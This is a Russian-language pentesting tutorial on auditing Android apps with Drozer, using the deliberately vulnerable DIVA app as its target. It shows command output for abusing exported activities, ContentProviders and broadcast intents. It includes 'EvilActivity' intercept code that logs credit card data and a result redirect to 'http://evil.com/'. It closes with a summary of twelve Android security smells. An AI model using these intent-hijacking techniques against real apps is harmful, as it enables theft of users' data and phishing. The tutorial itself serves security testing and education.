Консоль Drozer

Безопасность приложений Android с помощью Drozer

Drozer — обязательный предмет в арсенале каждого пентестера. Это швейцарский армейский нож для выполнения стандартных задач по тестированию на проникновение. Drozer позволяет вам получать информацию о приложении, запускать его, подключаться к ContentProvider, отправлять сообщения службе, в общем — все для того, чтобы извлечь информацию из приложения или заставить его делать то, что нам нужно, через стандартные API и каналы связи.Все это безопасность приложений Android.

Безопасность приложений Android с  помощью Drozer

Сегодня Drozer считается устаревшим инструментом, но он по-прежнему отлично справляется с быстрым получением информации о приложении и его слабых местах. Рекомендуемый способ запуска drozer — использовать Docker:

$ sudo docker run -it kengannonmwr/drozer_docker

Drozer работает совместно с агентом, работающим на устройстве или эмуляторе, вы можете скачать его здесь. Его необходимо установить на устройство:
 
$ adb install drozer-agent-2.3.4.apk
 
Да­лее запус­каем агент и нажима­ем кноп­ку Embedded Server вни­зу экра­на. Пос­ле это­го к сер­веру мож­но под­клю­чить­ся, перей­дя в кон­соль Drozer:
 
$ drozer console connect --server IP-адрес-телефона
 
Консоль Drozer
Кон­соль Drozer
 
В качес­тве подопыт­ного при­ложе­ния будем исполь­зовать DIVA (Damn Insecure and Vulnerable App). APK не име­ет циф­ровой под­писи, поэто­му перед уста­нов­кой его необ­ходимо под­писать, нап­ример c помощью uber-apk-signer.
 

Активности

Ти­пич­ный ворк­флоу Drozer выг­лядит так. Сна­чала получа­ем информа­цию об уста­нов­ленных при­ложе­ниях:

dz> run app.package.list

На­ходим в спис­ке подопыт­ное при­ложе­ние и получа­ем информа­цию о нем:

dz> run app.package.info -a jakhar.aseem.diva

Package: jakhar.aseem.diva
Application Label: Diva
Process Name: jakhar.aseem.diva
Version: 1.0
Data Directory: /data/user/0/jakhar.aseem.diva
APK Path: /data/app/~~f-ZUZleCLc6Lvv3kYkaeww==/jakhar.aseem.diva-GXTPCSZPceqRHtEWH73f1g==/base.apk
UID: 10423
GID: [3003]
Shared Libraries: [/system/framework/android.test.base.jar, /system/framework/org.apache.http.legacy.jar]
Shared User ID: null
Uses Permissions:
- android.permission.WRITE_EXTERNAL_STORAGE
- android.permission.READ_EXTERNAL_STORAGE
- android.permission.INTERNET
- android.permission.ACCESS_MEDIA_LOCATION
Defines Permissions:
- None

За­тем выяс­няем, какие ком­понен­ты мож­но попытать­ся исполь­зовать для экс­плу­ата­ции:

dz> run app.package.attacksurface jakhar.aseem.diva

Attack Surface:
3 activities exported
0 broadcast receivers exported
1 content providers exported
0 services exported
is debuggable

Об­раща­ем вни­мание, что в при­ложе­нии вклю­чен флаг отладки. Далее получа­ем спи­сок активнос­тей:

dz> run app.activity.info -a jakhar.aseem.diva

Package: jakhar.aseem.diva
jakhar.aseem.diva.MainActivity
Permission: null
jakhar.aseem.diva.APICredsActivity
Permission: null
jakhar.aseem.diva.APICreds2Activity
Permission: null

Про­буем их запус­тить:

dz> run app.activity.start --component jakhar.aseem.diva <имя_активнос­ти>

Цель этого действия — проверить, не выделены ли внутренние действия приложения, которые не должны быть доступны извне. Эти действия могут содержать конфиденциальную информацию.

Про­веря­ем:

dz> run app.activity.start --component jakhar.aseem.diva jakhar.aseem.diva.APICredsActivity

Дей­стви­тель­но, активность APICredsActivity содер­жит некий ключ API, имя поль­зовате­ля и пароль. Активность APICreds2Activity содер­жит окно с полем для вво­да ПИН‑кода.Две активности DIVA

Две активности DIVA

Две активнос­ти DIVA

Обе эти активнос­ти явно дол­жны исполь­зовать­ся толь­ко внут­ри при­ложе­ния, но по «нев­ниматель­нос­ти» раз­работ­чик забыл сде­лать их неэк­спор­тиру­емы­ми (android:exported=»false»).

Если активности не запускаются

На­чиная с Android 9 запуск активнос­тей в фоне зап­рещен. Поэто­му, что­бы Drozer работал кор­рек­тно, сле­ди за тем, что­бы он всег­да был на экра­не, а экран смар­тфо­на — вклю­чен.

Перехват интентов

Еще инте­рес­нее, ког­да прог­раммист не толь­ко забыва­ет сде­лать внут­реннюю активность при­ложе­ния неэк­спор­тиру­емой, но и работа­ет с ней не нап­рямую, а исполь­зуя широко­веща­тель­ные интенты. Допус­тим, в при­ложе­нии есть такой код, который исполь­зует широко­веща­тель­ный интент «com.example.ACTION», что­бы запус­тить активность (передав ей при этом кон­фиден­циаль­ные дан­ные):

Intentintent = new Intent("com.example.ACTION");

intent.putExtra("credit_card_number", num.getText().toString());
intent.putExtra("holder_name", name.getText().toString());
startActivity(intent);

Проб­лема это­го кода в том, что любой жела­ющий может соз­дать активность, реаги­рующую на интент «com.example.ACTION», и перех­ватить передан­ные ей дан­ные. Нап­ример, мы можем написать при­ложе­ние с такой активностью в манифес­те:

<activity android:name=".EvilActivity">

<intent-filter android:priority="999">
<action android:name="com.example.ACTION" />
<category android:name="android.intent.category.DEFAULT" />
</intent-filter>
</activity>

В код этой активнос­ти добавим логиро­вание перех­вачен­ных кон­фиден­циаль­ных дан­ных:

Log.d("evil", "Number: " + getIntent().getStringExtra("credit_card_number"));
Log.d("evil", "Holder: " + getIntent().getStringExtra("holder_name"));

Ву­аля! Но с помощью Drozer про­делать такой трюк еще про­ще:

dz> run app.broadcast.sniff --action com.example.ACTION

В общем, интенты — это стандартный способ общения в Android как внутри, так и вне приложения. Их можно использовать для передачи информации между действиями, службами и любым другим компонентом приложения. Интенты могут быть адресованы конкретному компоненту или транслироваться. Любое другое приложение может перехватить последнее, как в примере выше.

Перехват возвращаемого значения

На Android действия могут возвращать значения. Эта функция используется, например, в интерфейсе для выбора фотографии для отправки другу или в интерфейсе для выбора файла. Приложение может инициировать свое собственное действие или действие любого другого приложения (используя намерение передачи), чтобы получить от него некоторую ценность. И если приложение использует намерение трансляции, чтобы начать свою деятельность, возникнут проблемы.

Возь­мем, к при­меру, сле­дующий код:

startActivityForResult(new Intent("com.example.PICK"), 1337);

 
protected void onActivityResult(int requestCode, int resultCode, Intent data) {
super.onActivityResult(requestCode, resultCode, data);
if(requestCode == 1337 && resultCode == 1) {
webView.loadUrl(data.getStringExtra("url"), getAuthHeaders());
}
}
 
Это код для запуска действия с целью com.example.PICK. Значение, возвращаемое этим действием, используется как URL-адрес для открытия веб-страницы в WebView. Очевидно, что в этом примере интент com.example.PICK используется для инициирования собственной активности приложения, однако, как и в предыдущем примере, разработчик использовал интент широковещательной передачи для инициирования.Поэто­му мы можем соз­дать собс­твен­ную активность и перенап­равлять при­ложе­ние на фишин­говый веб‑сайт:
 
<activity android:name=".EvilActivity">
<intent-filter android:priority="999">
<action android:name="com.victim.PICK" />
<category android:name="android.intent.category.DEFAULT" />
</intent-filter>
</activity>

protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setResult(1, new Intent().putExtra("url", "http://evil.com/"));
finish();
}
 
Интенты трансляции также используются приложениями для выбора файлов. В этом случае можно выполнить атаку обхода каталога с помощью фишинговых действий.

ContentProvider

ContentProvider — это специальный компонент приложения, отвечающий за хранение данных и предоставление доступа к этим данным для других приложений. Раньше (до Android 4.0) разработчики открывали ContentProvider для любого приложения. Например, в официальном приложении Gmail был общедоступный ContentProvider, обеспечивающий доступ к списку адресов электронной почты. Это позволяло любому стороннему приложению получать список последних писем Gmail, считывая данные непосредственно из официального приложения.

Такой подход сейчас считается наивным и небезопасным. Поэтому сегодня приложение Gmail предоставляет только общее количество непрочитанных писем, и даже эта информация защищена специальным разрешением. Вы можете легко проверить это, попытавшись прочитать данные, используя URI content: //com.google.android.gmail.provider:

dz> run app.provider.query content://com.google.android.gmail.provider/

Permission Denial: opening provider com.android.email.provider.EmailProvider from ProcessRecord{5ae20cc 15638:com.mwr.dz:remote/u0a422} (pid=15638, uid=10422) requires com.google.android.gm.email.permission.ACCESS_PROVIDER or com.google.android.gm.email.permission.ACCESS_PROVIDER

Но в дру­гих при­ложе­ниях все может быть ина­че. Вер­немся к при­ложе­нию DIVA и поп­робу­ем получить информа­цию о его ContentProvider’ах:

dz> run app.provider.info -a jakhar.aseem.diva

Package: jakhar.aseem.diva
Authority: jakhar.aseem.diva.provider.notesprovider
Read Permission: null
Write Permission: null
Content Provider: jakhar.aseem.diva.NotesProvider
Multiprocess Allowed: False
Grant Uri Permissions: False

Вид­но, что при­ложе­ние име­ет один никак не защищен­ный ContentProvider. Получим информа­цию об экспор­тиру­емых ContentProvider’ом URI:

dz> run scanner.provider.finduris -a jakhar.aseem.diva

Scanning jakhar.aseem.diva...
Able to Query content://jakhar.aseem.diva.provider.notesprovider/notes/
Unable to Query content://jakhar.aseem.diva.provider.notesprovider
Unable to Query content://jakhar.aseem.diva.provider.notesprovider/
Able to Query content://jakhar.aseem.diva.provider.notesprovider/notes

Accessible content URIs:
content://jakhar.aseem.diva.provider.notesprovider/notes/
content://jakhar.aseem.diva.provider.notesprovider/notes

Поп­робу­ем про­читать информа­цию по при­веден­ным URI:

dz> run app.provider.query content://jakhar.aseem.diva.provider.notesprovider/notes/

| _id | title | note |
| 5 | Exercise | Alternate days running |
| 4 | Expense | Spent too much on home theater |
| 6 | Weekend | b333333333333r |
| 3 | holiday | Either Goa or Amsterdam |
| 2 | home | Buy toys for baby, Order dinner |
| 1 | office | 10 Meetings. 5 Calls. Lunch with CEO |

ContentProvider, по сути, откры­вает пря­мой дос­туп к базе дан­ных при­ложе­ния. Поэто­му, если он открыт для чте­ния и записи, мы лег­ко можем добавить в него собс­твен­ные дан­ные:

dz> run app.provider.insert content://jakhar.aseem.diva.provider.notesprovider/notes

--integer _id 7
--string title xakep.ru
--string note 'Hi from ]['

dz> run app.provider.query content://jakhar.aseem.diva.provider.notesprovider/notes/


| 7 | xakep.ru | Hi from ][ |

В ряде слу­чаев воз­можно выпол­нить SQL-инъ­екцию. Drozer спо­собен авто­мати­чес­ки про­верить при­ложе­ние на эту уяз­вимость:

dz> run scanner.provider.injection -a com.example.app

Не­кото­рые при­ложе­ния исполь­зуют ContentProvider’ы, что­бы откры­вать дос­туп к фай­лам сво­его при­ват­ного катало­га. В этом слу­чае иног­да воз­можно выпол­нить ата­ку directory traversal. Drozer поз­воля­ет про­верить и этот вари­ант:

dz> run scanner.provider.traversal -a com.example.app

Сервисы

Другой тип прикладного компонента в Android — это сервисы. Большинство из них используются для фоновой работы, а в современных версиях Android у них должен быть значок в строке состояния (иначе система отключит службу в течение пяти минут). В приложении DIVA нет сервисов, это легко проверить с помощью этой команды:

dz> run app.service.info -a jakhar.aseem.diva

Package: jakhar.aseem.diva
No exported services.

Но даже приложениями с торчащими снаружи сервисами работать не так просто. Обычно вам сначала нужно дизассемблировать / декомпилировать приложение, проанализировать служебный код, а затем попытаться отправить ему сообщение, которое оно поймет и обработает.

Нап­ример, типич­ный при­мер отправ­ки сооб­щения сер­вису может выг­лядеть так:

dz> run app.service.send com.mwr.example.sieve com.mwr.example.sieve.AuthService --msg 6345 7452 1 --extra string com.mwr.example.sieve.PASSWORD "abcdabcdabcdabcd" --bundle-as-obj

Другие возможности

Крат­ко прой­дем­ся по дру­гим воз­можнос­тям Drozer.

Отоб­ражение манифес­та при­ложе­ния:

dz> run app.package.manifest com.mwr.example.sieve

По­иск при­ложе­ний, обла­дающих ука­зан­ными пол­номочи­ями:

dz> run app.package.list -p android.permission.INSTALL_PACKAGES

По­иск при­ложе­ний с ука­зан­ным UID:

dz> run app.package.list -u 1000

По­иск при­ложе­ний, спо­соб­ных отоб­ражать фай­лы с ука­зан­ным mimetype:

dz> run app.activity.forintent --action android.intent.action.VIEW --mimetype application/pdf

По­иск всех при­ложе­ний, спо­соб­ных откры­вать ссыл­ки:

dz> run scanner.activity.browsable

Отоб­ражение спис­ка натив­ных биб­лиотек при­ложе­ния:

dz> run app.package.native jakhar.aseem.diva

От­прав­ка широко­веща­тель­ных интентов:

dz> run app.broadcast.send --action com.exmpla.PICK --extra string url https://example.com

Бонус

С какими еще проблемами и уязвимостями можно столкнуться в приложениях? Их много, авторы книги Security Code Smells in Android ICC составили подробный список таких проблем. Они взяли 700 приложений с открытым исходным кодом из репозитория F-Droid и проанализировали их с помощью специального инструмента AndroidLintSecurityChecks.

Все проб­лемы ском­понова­ны в две­над­цать катего­рий:

  • SM01: Persisted Dynamic Permission. В Android есть механизм, поз­воля­ющий пре­дос­тавить дру­гому при­ложе­нию вре­мен­ный дос­туп к какому‑либо URI сво­его ContentProvider’а. Это дела­ется с помощью метода Context.grantUriPermission(). Если при­ложе­ние вызыва­ет его, но не вызыва­ет Context.revokeUriPermission(), что­бы отоз­вать дос­туп, — есть проб­лемы.
  • SM02: Custom Scheme Channel. Любое при­ложе­ние может зарегис­три­ровать собс­твен­ную URI-схе­му, такую как myapp://, вне зависи­мос­ти от того, исполь­зует ли такую схе­му дру­гое при­ложе­ние. Как следс­твие, пересы­лать важ­ные дан­ные, исполь­зуя кас­томные URI-схе­мы, край­не небезо­пас­но.
  • SM03: Incorrect Protection Level. В Android любое при­ложе­ние может соз­дать свое собс­твен­ное раз­решение для дос­тупа к сво­им дан­ным. Но есть проб­лема: если ука­зать неп­равиль­ный уро­вень защиты раз­решения (protection level), оно может не сра­ботать. Если раз­работ­чик хочет, что­бы поль­зователь видел диалог зап­роса раз­решений, он дол­жен исполь­зовать уро­вень защиты dangerous или siganture, если дан­ное раз­решение дол­жно получать толь­ко при­ложе­ние с той же циф­ровой под­писью.
  • SM04: Unauthorized Intent. Любое при­ложе­ние в Android может зарегис­три­ровать себя в качес­тве обра­бот­чика опре­делен­ных типов интентов (intent). По умол­чанию этот обра­бот­чик будет открыт все­му миру, но его мож­но защитить с помощью сис­темы раз­решений и стро­гой валида­ции вход­ных дан­ных.
  • SM05: Sticky Broadcast. Любое при­ложе­ние может пос­лать дру­гому при­ложе­нию интент. Более того, оно может пос­лать широко­веща­тель­ный интент сра­зу всем при­ложе­ниям, и он будет обра­ботан пер­вым при­ложе­нием, спо­соб­ным его при­нять. Но есть так­же воз­можность пос­лать широко­веща­тель­ный sticky-intent, который пос­ле обра­бот­ки одним при­ложе­нием все рав­но будет дос­тавлен дру­гим при­ложе­ниям. Что­бы это­го не про­исхо­дило, не сто­ит исполь­зовать такие интенты, а широко­веща­тель­ные интенты луч­ше не исполь­зовать вооб­ще.
  • SM06: Slack WebViewClient. Ком­понент WebView поз­воля­ет при­ложе­ниям показы­вать веб‑стра­ницы внут­ри сво­его интерфей­са. По умол­чанию он никак не филь­тру­ет откры­ваемые URL, чем мож­но вос­поль­зовать­ся, нап­ример, для фишин­га. Раз­работ­чикам сто­ит либо исполь­зовать белый спи­сок адре­сов, либо выпол­нять про­вер­ку с помощью SafetyNet API.
  • SM07: Broken Service Permission. При­ложе­ния могут пре­дос­тавлять дос­туп к сво­ей фун­кци­ональ­нос­ти с помощью сер­висов. Зло­умыш­ленник может исполь­зовать эту воз­можность для запус­ка кода с повышен­ными пол­номочи­ями (пол­номочи­ями сер­виса). Что­бы это­го избе­жать, сер­вис дол­жен про­верять пол­номочия вызыва­юще­го при­ложе­ния с помощью метода Context.checkCallingPermission().
  • SM08: Insecure Path Permission. Некото­рые при­ложе­ния пре­дос­тавля­ют дос­туп к сво­им дан­ным с помощью ContentProvider’а, который адре­сует дан­ные, исполь­зуя UNIX-подоб­ные пути: /a/b/c. Прог­раммист может открыть дос­туп к сво­ему ContentProvider’у, но отре­зать дос­туп к некото­рым путям (нап­ример, к /data/secret). Но есть проб­лема: раз­работ­чики час­то исполь­зуют класс UriMatcher для срав­нения путей, а он, в отли­чие от Android, срав­нива­ет их без уче­та двой­ных сле­шей. Отсю­да могут воз­никнуть ошиб­ки при раз­решении и зап­рете дос­тупа.
  • SM09: Broken Path Permission Precedence. Сход­ная с пре­дыду­щей проб­лема. При опи­сании ContentProvider’а в манифес­те раз­работ­чик может ука­зать, какие раз­решения нуж­ны при­ложе­нию для дос­тупа к опре­делен­ным путям. Но в Android есть баг, из‑за чего он отда­ет пред­почте­ние более гло­баль­ным путям. Нап­ример, если при­ложе­ние дает дос­туп к /data всем под­ряд, но исполь­зует спе­циаль­ное раз­решение для дос­тупа к /data/secret, то в ито­ге дос­туп к /data/secret смо­гут получить все.
  • SM10: Unprotected BroadcastReceiver. Фак­тичес­ки ана­лог проб­лемы SM04, но рас­простра­няющий­ся исклю­читель­но на BroadcastReceiver’ы (спе­циаль­ные обра­бот­чики интентов).
  • SM11: Implicit PendingIntent. Кро­ме интентов, в Android есть сущ­ность под наз­вани­ем PendingIntent. Это сво­его рода отло­жен­ные интенты, которые могут быть отправ­лены поз­же и даже дру­гим при­ложе­нием от име­ни соз­давше­го интент при­ложе­ния. Если PendingIntent широко­веща­тель­ный, то любое при­ложе­ние смо­жет перех­ватить его и пос­лать интент от име­ни это­го при­ложе­ния.
  • SM12: Common Task Affinity. Ана­лог проб­лемы StrandHogg.

Общая распространенность ошибок

Об­щая рас­простра­нен­ность оши­бок

 

В документе также содержится много аналитических данных. Например, статистика показывает, что в новых приложениях меньше дыр, чем в старых. Также есть больше дыр в приложениях, над которыми работают более пяти человек. И конечно: чем больше кода, тем больше уязвимостей.

Примеры ошибок также можно найти в репозитории тестов уязвимостей Android-приложений. Он содержит исходные коды приложений с различными уязвимостями, каждое из которых имеет подробное описание уязвимости и исправленную версию.

Выводы

Как видите, несмотря на свой почтенный возраст, Drozer по-прежнему выполняет свою работу лучше, чем многие другие инструменты. Его очевидным преимуществом является текстовый интерфейс, который позволяет использовать команды для выполнения многих задач, для которых вам придется написать собственное программное обеспечение. Оборотная сторона все та же — не всем удастся переварить этот интерфейс в 2020 году.

 
Click to rate this post!
[Total: 0 Average: 0]

Leave a reply:

Your email address will not be published.